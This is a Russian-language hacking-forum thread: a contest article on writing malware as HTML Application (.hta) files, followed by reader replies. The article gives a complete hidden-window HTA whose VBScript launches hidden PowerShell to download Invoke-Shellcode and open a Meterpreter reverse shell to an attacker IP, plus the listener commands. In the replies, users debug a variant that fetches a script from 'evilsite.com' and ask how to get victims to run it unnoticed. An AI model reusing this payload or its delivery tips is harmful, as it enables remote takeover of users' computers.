1. Наш канал codeby в telegram. Пишем об информационной безопасности, методах защиты информации, о программировании. Не пропускай новости с кодебай, будь в тренде ! Подробнее ...

    Скрыть объявление

Конкурс Малварь на HTML или HTA для хакера.

Тема в разделе "Этичный хакинг и тестирование на проникновение", создана пользователем PingVinich, 15 ноя 2017.

  1. PingVinich

    PingVinich Bug hunter
    ELEET

    Репутация:
    6
    Регистрация:
    19 мар 2017
    Сообщения:
    115
    Симпатии:
    289
    Статья для участия в конкурсе на Codeby. КЛИК!

    {-- == ВВЕДЕНИЕ == --}

    В этой статье будет рассказано о разработке вредоносных приложений на HTML. Но возникает вопрос, а зачем это вообще нужно? Существует очень много ситуаций, когда такая малварь может пригодиться. И чаще всего, эти ситуации прикладные. Например, социально-технический вектор. Расширение .hta не вызывает особых подозрений, а значит может быть использовано в данном случае.

    {-- == ОСНОВНАЯ ЧАСТЬ == --}

    Кто-то из вас скажет, что HTML не является языком программирования и будет прав, но в Windows существует возможность безбраузерного взаимодействия с документами HTML. Эта технология носит название HTA (HTML Application).
    Эти приложения имеют расширения ".hta" и возможность их создания вышла уже в марте 1999 года. Так как HTA поддерживает исполнение сценариев, они могут использоваться для выполнения вредоносного кода.

    Прочитать об этой технологии вы можете здесь:

    Запуск HTA приложений происходит с помощью прикладной программы mshta.exe, которая использует недокументированную функцию RunHTMLApplication для их запуска. По умолчанию файлам с расширением .hta для запуска присвоена программа mshta.exe, поэтому для запуска HTA файлов достаточно сохранить их с нужным расширением. Давайте рассмотрим, как именно происходит разработка HTML Application приложений.

    Для начала, создадим файл с расширением .hta и сохраним его на диске.

    Малварь на HTML или HTA для хакера.

    Любопытный факт. Если запустить файл теперь, то особого прока это нам не принесёт, однако файл уже находится в рабочем состоянии.

    Малварь на HTML или HTA для хакера.

    В каждой программе, в каждом языке программирования есть определённый скелет, с которым необходимо работать. У HTA он такой:

    HTML:
    <html>
    <head>
      <HTA:APPLICATION ID="oHTA"
        APPLICATIONNAME="Имя приложения"
        BORDER="Вид оформления окна. Варианты: thin/dialog/none/thick."
        BORDERSTYLE="Стиль рамки окна. Варианты: complex, normal, raised, static, sunken"
        CAPTION="Наличие загаловка у окна. Варианты: yes/no"
        maximizeButton="Наличие кнопки «Восстановить». Варианты: yes/no"
        minimizeButton="наличие кнопки «свернуть». Варианты: yes/no"
        ICON="Путь к значку окна в формате ICO (32x32)"
        SHOWINTASKBAR="Отображение документа в панели задач Windows. Варианты: yes/no"
        SINGLEINSTANCE="Можно ли открывать документы с тем же APPLIcATIONNAME? Варианты: yes/no"
        SYSMENU="Наличие системного меню и кнопок управления окном в заголовке окна. Варианты: yes/no"
        VERSION="Версия HTA. Я обычно ставлю 1.0"
        WINDOWSTATE="Исходный размер окна. Варианты: normal, minimize, maximize."/>
    </head>
    
    <body>
       Тело документа.
    </body>
    
    </html>

    Как я уже сказал выше в HTA можно добавлять скрипты, как VBScript или JavaScript. Добавляется он также как и в обычные страницы. Кстати, аргументы с которым было запущено приложение можно получить с помощью атрибута commandLine элемента HTA:APPLICATION. Вот пример небольшого HTA приложения.

    HTML:
    <html>
      <head>
        <title>HTA Test</title>
          <HTA:APPLICATION
           APPLICATIONNAME="Codeby"
           SCROLL="yes"
           SINGLEINSTANCE="yes"
           WINDOWSTATE="maximize"
          />
      </head>
    
    
      <body>
       <script language="VBScript">
           Msgbox "Hello, Codeby.NET!"
       </script>
      </body>
    </html>
    Сохраним и запустим это и мы получим примерно следующий результат.

    Малварь на HTML или HTA для хакера.

    Как вы можете увидеть, скрипт был успешно запущен и отработан. Мы познакомились с основами технологии HTML Application. Теперь, можно перейти к самой теме статьи.

    Давайте создадим приложения для получения сессии в Meterpreter. Нам нужно исключить появление окна, поэтому скелет, с которым мы будем работать будет такой:


    HTML:
    <html>
    <head>
      <HTA:APPLICATION ID="oHTA"
        APPLICATIONNAME="MSession"
        BORDER="none"
        SHOWINTASKBAR="no"
        SINGLEINSTANCE="no"
        SYSMENU="no"
        VERSION="1.0"
        WINDOWSTATE="minimize"
       />
    </head>
    <body>
    </body>
    </html>
    Теперь, добавим запуск вредоносной Powershell команды через VBScript. Сначала, подготовим PowerShell команду.

    1. Не будем показывать окно командной строки, отключим использование профиля powershell, отключим использование интерактивного режима и разрешим запуск сторонних скриптов. Этого можно достичь с помощью этих опций.

    Код:
    -w hidden -nop -noni -exec bypass

    2. Подготовим вредоносный payload. Можно использовать эту нагрузку, которая предоставит нам meterpreter shell. Используем PowerSploit скрипт. Для этого скачаем его и запустим с нужными параметрами.


    Код:
    IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force
    ,
    где вместо 192.168.0.106 и 8007 укажите IP и порт атакующего.

    3. Соберём команду и она примет следующий вид:

    Код:
    powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force


    Теперь, вставим следующий VBScript в HTA файл.

    Код:
    Window.ReSizeTo 0,0
    'Делаем окно невидимым, уменьшим его размер до минимального
    Window.MoveTo -4000, -4000
    'Выносим окно за пределы видимости
     
    Set wsh = CreateObject("wscript.shell")
    'Создаём объект для выполения команд
    wsh.Run "powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force"
    'Выполняем команду
    Window.Close
    'Завершаем работу
    После данной манипуляции HTA файл приобретает следующий вид:

    HTML:
    <html>
      <head>
        <HTA:APPLICATION ID="oHTA"
          APPLICATIONNAME="MSession"
          BORDER="none"
          SHOWINTASKBAR="no"
          SINGLEINSTANCE="no"
          SYSMENU="no"
          VERSION="1.0"
          WINDOWSTATE="minimize"
         />
      </head>
    
      <body>
        <script language="VBScript">
          Window.ReSizeTo 0,0
          Window.MoveTo -4000, -4000
     
          Set wsh = CreateObject("wscript.shell")
          wsh.Run "powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force"
          Window.Close
        </script>
      </body>
    </html>
    Сохраните этот файл на диске.

    Запустим Meterpreter Listener на ПК атакующего:

    Малварь на HTML или HTA для хакера.

    Вот последовательность команд для его запуска:
    Код:
    msfconsole -q
    use exploit/multi/handler
    set PAYLOAD windows/meterpreter/reverse_https
    set LHOST 192.168.0.106
    set LPORT 8007
    run
    , где вместо 192.168.0.106 и 8007 указываем IP атакующего и желаемый порт.


    Теперь, запустив вредоносный HTA документ мы получим meterpreter сессию:

    Малварь на HTML или HTA для хакера.

    {-- == ЗАКЛЮЧЕНИЕ == --}

    На скриншоте выше видно, что сессия открылась успешно и мы можем взаимодействовать с заражённым компьютером.

    Ну, на этом всё. Спасибо за внимание.
     
    #1 PingVinich, 15 ноя 2017
    Последнее редактирование: 17 ноя 2017
    Vertigo, Ivan175, WebWare Team и 20 другим нравится это.
  2. Dr.Lafa

    Dr.Lafa Well-Known Member
    Red Team

    Репутация:
    14
    Регистрация:
    30 дек 2016
    Сообщения:
    129
    Симпатии:
    246
    - вирусы, говоришь, пишешь?
    - да
    - на чём же?
    - на ХТМЛ
     
    oappot, alekx, MEBIUS и 10 другим нравится это.
  3. PingVinich

    PingVinich Bug hunter
    ELEET

    Репутация:
    6
    Регистрация:
    19 мар 2017
    Сообщения:
    115
    Симпатии:
    289
    :)

    Кстати, этот метод сейчас как никак актуален в дипе. Чуть меньше DDE в MSOffice. Многие вымогатели его используют.
     
    #3 PingVinich, 15 ноя 2017
    Последнее редактирование: 16 ноя 2017
    Vertigo, Dmitry88, Underwood и 3 другим нравится это.
  4. Dmitry88

    Dmitry88 Well-Known Member

    Репутация:
    1
    Регистрация:
    29 дек 2016
    Сообщения:
    116
    Симпатии:
    123
    Вот такая проблема: в чем ошибка?
    Малварь на HTML или HTA для хакера.


    HTML:
    <html>
        <head>
            <HTA:APPLICATION ID="oHTA"
                APPLICATIONNAME="EVLscrpt"
                BORDER="none"
                SHOWINTASKBAR="no"
                SINGLEINSTANCE="no"
                SYSMENU="no"
                VERSION="1.0"
                WINDOWSTATE="minimize"
            />
        </head>
        
        <body>
            <script language="VBScript">
                Window.ReSizeTo 0,0
                Window.MoveTo -4000, -4000
                
                Set wsh = CreateObject("wscript.shell")
                wsh.Run "powershell -w hidden -nop -noni -exec bypass IEX(New-Object System.Net.WebClient).DownloadString('http://evilsite.com/evilscript.ps1');powershell -e $e "
                WScript.Quit
            </script>
        </body>
    </html>
    НТА выполняет корректно, но окно с ошибкой все портит. И в диспетчере mshta.exe висит, даже после того как скрипт отработал.
     
  5. PingVinich

    PingVinich Bug hunter
    ELEET

    Репутация:
    6
    Регистрация:
    19 мар 2017
    Сообщения:
    115
    Симпатии:
    289
    Убери строку WScript.Quit. Она не может использоваться в HTA. Язык тот же, а хостовый объект другой, именно поэтому этот метод не может вызываться. Используй метод Window.Close. Статью я изменил.
     
    #5 PingVinich, 17 ноя 2017
    Последнее редактирование: 17 ноя 2017
    Ondrik8 нравится это.
  6. Dmitry88

    Dmitry88 Well-Known Member

    Репутация:
    1
    Регистрация:
    29 дек 2016
    Сообщения:
    116
    Симпатии:
    123
    А в синтаксисе все нормально ? (если что это виртуалка win7 x86) , еще проверил на win7 x64, но там
    DownloadString не обработался, т.к. там подозреваю powershell v 1.
     
  7. PingVinich

    PingVinich Bug hunter
    ELEET

    Репутация:
    6
    Регистрация:
    19 мар 2017
    Сообщения:
    115
    Симпатии:
    289
    Я изменил сообщение. Прочитай выше.
     
    #7 PingVinich, 17 ноя 2017
    Последнее редактирование: 17 ноя 2017
    Dmitry88 нравится это.
  8. assa911

    assa911 Member

    Репутация:
    0
    Регистрация:
    6 окт 2017
    Сообщения:
    6
    Симпатии:
    0
  9. PingVinich

    PingVinich Bug hunter
    ELEET

    Репутация:
    6
    Регистрация:
    19 мар 2017
    Сообщения:
    115
    Симпатии:
    289
    Скинь код HTA'шки. Ещё, протестируй этот powershell-скрипт на работоспособность выполнив независимо.
     
  10. assa911

    assa911 Member

    Репутация:
    0
    Регистрация:
    6 окт 2017
    Сообщения:
    6
    Симпатии:
    0
    Именно, что и спрашиваю, что код не могу сделать. А с этим кодом, с конкурса, в NetCat иероглифы, и потом Bye... закрывается окно.
     
  11. Петручо

    Петручо Well-Known Member

    Репутация:
    0
    Регистрация:
    27 ноя 2016
    Сообщения:
    72
    Симпатии:
    6
    пробовал как то чудить с hta, что не понравилось , так это то что по умолчанию открывается не браузером , а mshta , так еще и с ехе тоже траблы были .
    upd попробуйте заставить пользователя открыть этот документ (про социнженерию знаю , но значительная часть способов впаривания отпадает ибо hta проверяется так же как и ехе и с ним так же проблемы в плане впаривания).
    upd2 кто знает как в html документы сделать ссылку на hta и что бы эта ссылка открывалась и отрабатывалась в браузере ? но при этом команда выполнялась .
    а то пробовал вставлять в html и пользователь видел алерт или какое то действие , а его как бы быть не должно было , потому и палило .
     
    #11 Петручо, 8 дек 2017
    Последнее редактирование: 8 дек 2017
  12. PingVinich

    PingVinich Bug hunter
    ELEET

    Репутация:
    6
    Регистрация:
    19 мар 2017
    Сообщения:
    115
    Симпатии:
    289
    Выполнять команды ОС можно только в Internet Explorer. Почитайте о ActiveX.
     
  13. kot-gor

    kot-gor Well-Known Member
    ELEET

    Репутация:
    6
    Регистрация:
    7 сен 2016
    Сообщения:
    371
    Симпатии:
    395
    тестировал на виндовс 10..открывается окно powershell при запуске вредоноса..а в целом отрабатывает хорошо.
     
    PingVinich нравится это.
Загрузка...

Поделиться этой страницей